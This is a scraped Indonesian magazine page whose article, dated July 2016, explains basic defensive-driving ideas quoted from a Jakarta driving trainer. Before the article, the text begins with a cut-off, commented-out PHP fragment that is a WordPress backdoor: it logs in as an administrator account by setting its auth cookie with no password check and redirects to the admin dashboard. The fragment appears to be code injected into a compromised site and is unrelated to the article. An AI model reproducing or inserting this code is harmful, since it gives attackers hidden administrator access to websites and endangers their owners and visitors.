user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Memahami Konsep Defensive Driving

6 Jul 2016


Foto: Fotosearch

Ibarat prajurit yang akan maju ke medan perang, di jalan raya, saat menyetir Anda harus dilengkapi dengan rompi antipeluru, helm, dan pelindung lainnya yang merupakan perlengkapan safety Anda. Namun, itu tidak bisa mencegah Anda dari terkena peluru atau sasaran tembak. “Anda harus memiliki strategi dan taktik untuk memahami medan,” demikian menurut Boy Falatehansyah, trainer dari Jakarta Defensive Driving Centre (JDDC).

“Sederhananya, defensive driving adalah kemampuan dalam memahami perilaku mengemudi dan medan yang akan dilewati,” kata Boy. Misal, saat ingin belok kiri, banyak orang cenderung melihat ke sisi kanan saja. Ia tidak menyadari bahwa banyak pengemudi motor yang nekat masih berusaha menyalip dari celah sempit di kiri. Berarti defensive driving pengemudi ini belum terlalu baik.

Berikut ini beberapa konsep dasar defensive driving:

Advertisement
1/ Pandangan aman. "Kita harus memiliki pandangan aman saat mengemudi," kata Boy. Pandangan aman ini menyangkut pemahaman blind spot dan jarak pandang Anda dalam melihat satu hingga tiga kendaraan di depan. "Jadi, kita bisa mengambil keputusan yang tepat apakah kita harus menyalip, berpindah jalur, atau melakukan pengereman mendadak secara aman,” kata Boy. 

​2/ Lingkaran aman. "Usahakan selalu melihat semua zona aman di sekeliling mobil Anda, minimal 5 sampai 8 detik sekali," kata Boy. Dengan melakukan itu, secara otomatis Anda menanamkan memori di  otak Anda terus-menerus tentang kondisi di sekitar mobil. "Ketika terjadi sesuatu, maka otak akan mengirimkan sinyal bahaya sehingga kita secara refleks bisa menghindari untuk mencari zona lebih aman," jelas Boy.           
Memindahkan pandangan mata  tiap 5 hingga 8 detik juga menghindari Anda dari fiksasi mata atau mata lelah. "Secara medis, ketika pandangan mata kita terus tertuju pada satu titik dalam 30 detik, maka akan menyebabkan kelelahan mata dan mengantuk," kata Boy. Fiksasi mata ini sangat berbahaya ketika Anda melaju di jalan lurus seperti tol.
 
3/ ​Jarak aman. Untuk kendaraan berpenumpang atau family car, jarak antara kendaraan kita dengan kendaraan di depan kita adalah 3 detik. Cara menghitungnya adalah dengan menghitung minimal waktu 3 detik, saat mencapai objek yang sudah dilewati mobil di depan Anda sebelumnya. "Jika jarak kendaraan Anda dan kendaraan di depan lebih dari 3 detik, maka Anda akan lebih aman. Namun, jika kurang dari 3 detik, kemungkinan terjadinya benturan atau kecelakaan lebih tinggi," kata Boy. 

4/ Berkendara jarak jauh. Sebenarnya, secara umum tidak ada perbedaan kemampuan antara pria dan wanita dalam mengemudi jarak jauh. Hanya, secara psikologis, pelaku kejahatan lebih senang mengincar wanita daripada pria. Usahakan untuk tidak mengemudi jarak jauh sendirian. (f)
 


 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?